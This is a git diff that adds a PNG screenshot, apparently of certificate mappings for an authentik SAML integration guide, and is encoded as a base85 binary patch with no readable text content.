b/enterprise/integrations/saml-providers/images/authentik-04-cert-mappings.png new file mode 100644 index 0000000000000000000000000000000000000000..f24201a6949c2ab2579c61add6bc36d0ba8614a4 GIT binary patch literal 123894 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 